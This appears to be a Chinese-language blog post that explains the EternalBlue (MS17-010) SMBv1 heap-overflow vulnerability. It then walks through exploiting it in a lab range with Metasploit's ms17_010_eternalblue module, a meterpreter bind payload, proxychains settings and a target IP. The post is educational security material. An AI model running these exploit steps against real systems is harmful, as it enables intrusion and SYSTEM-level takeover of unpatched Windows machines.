了解永恒之蓝
本文最后更新于 3 天前,其中的信息可能已经有所发展或是发生改变。

什么是永恒之蓝

永恒之蓝是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机

编号为 MS17-010

Windows内核漏洞,缓冲区溢出

SMB协议介绍

SMB通信协议主要是作为Microsoft网络的通讯协议。SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。SMB使用了NetBIOS的应用程序接口 (Application Program Interface,简称API),一般端口使用为139,445

协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的,SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上

SMB原理

首先客户端发送一个SMB negport 请求数据报,并列出它所支持的所有SMB的协议版本。

服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。

协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。

客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。

连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件

漏洞原理

SMB 是 Windows 系统中用于文件共享、打印服务的网络协议,EternalBlue 针对的是 SMBv1 协议栈

问题出在 Srv.sys 内核驱动对特定 Trans2 请求 的处理中存在内存错误

攻击者伪造一个恶意 SMB 请求包,伪装成 文件传输请求(Trans2_SESSION_SETUP),该请求包含精心构造的大小字段

分配一个小缓冲区(比如 1024 字节) 然后试图写入比它更大的数据(比如 4096 字节)

最终导致 内存越界写(Heap Overflow)

由于是 内核态驱动处理这个请求,攻击者能利用溢出控制某些结构,最终劫持执行流(比如修改函数指针),达到:

  • 提权(Ring 3 → Ring 0)
  • 执行恶意 shellcode
  • 植入木马/后门

通俗易懂的攻击原理和流程

攻击者构造一个非常大的 “Data Count”,而系统分配的内存却太小,导致:

操作系统以为你只发了 1000 字节的数据,实际上你发了 4000 字节。

结果:

  • 后面那 3000 字节写进了别人的内存空间(越界写)
  • 这些内存中可能存放着函数指针、结构体、对象等关键信息
  • 于是你可以改写这些内容,控制代码执行流

想象一下:

  • 你给操作系统提交了一份文件(SMB 请求)
  • 它打开了一个信封(分配了内存)准备接收你要寄的 1000 字节
  • 你实际上塞了 4000 字节进去
  • 前 1000 是文件内容,后 3000 被你偷偷夹带了“控制系统指令”
  • 系统在处理你的数据时,不小心触发了你设置的后门

漏洞攻击利用,结合initial靶场

利用msf工具模块去打永恒之蓝,对于这个渗透场景是要用proxychains4配代理的

proxychains4 msfconsole    //让它的网络流量通过代理服务器转发
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

其中记得要修改代理的配置

/etc/proxychains.conf

/ini
socks5 172.22.1.21 5555

启动Metasploit控制台

msfconsole

启动后直接选择漏洞利用模块

use exploit/windows/smb/ms17_010_eternalblue

下一步

set payload windows/x64/meterpreter/bind_tcp_uuid

设置攻击成功后要运行的 payload:

  • meterpreter:你远程控制的 shell
  • bind_tcp:目标机器主动监听一个端口,你去连接
  • uuid:payload 做过签名混淆处理,更隐蔽(绕过 AV/IDS)

第四步

set RHOSTS 172.22.1.21

设置要攻击的目标机器的ip

最后攻击

exploit

永恒之蓝打进去就是system权限了

权限级别说明
Guest最低权限,只能浏览
User正常用户,无管理权限
Admin管理员,有安装权限等
SYSTEM核心系统账户,掌控一切,高于管理员

漏洞复现:

这边自己复现了一下,发现环境有时候会出问题,看看有没有稳定的,先鸽一下

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇